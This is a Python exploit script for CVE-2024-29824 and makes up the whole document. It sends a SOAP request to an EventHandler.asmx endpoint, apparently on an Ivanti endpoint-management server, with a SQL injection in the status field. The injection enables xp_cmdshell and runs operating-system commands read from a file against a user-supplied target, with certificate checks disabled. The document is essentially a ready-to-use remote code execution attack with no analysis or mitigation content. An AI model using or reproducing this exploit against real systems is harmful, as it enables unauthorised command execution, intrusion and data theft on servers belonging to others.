CVE-2024-29824.py

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)